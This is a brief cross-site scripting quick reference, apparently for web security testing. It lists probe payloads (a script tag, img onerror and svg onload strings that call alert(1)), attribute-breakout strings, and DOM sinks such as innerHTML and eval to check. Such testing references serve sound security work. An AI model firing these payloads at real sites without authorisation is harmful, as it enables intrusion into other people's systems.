XSS Quick Reference
Basic probes
"><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Attribute breakout
" onmouseover=alert(1) x="
' onfocus=alert(1) autofocus x='
DOM sinks to check
- innerHTML
- outerHTML
- document.write
- eval / setTimeout with user input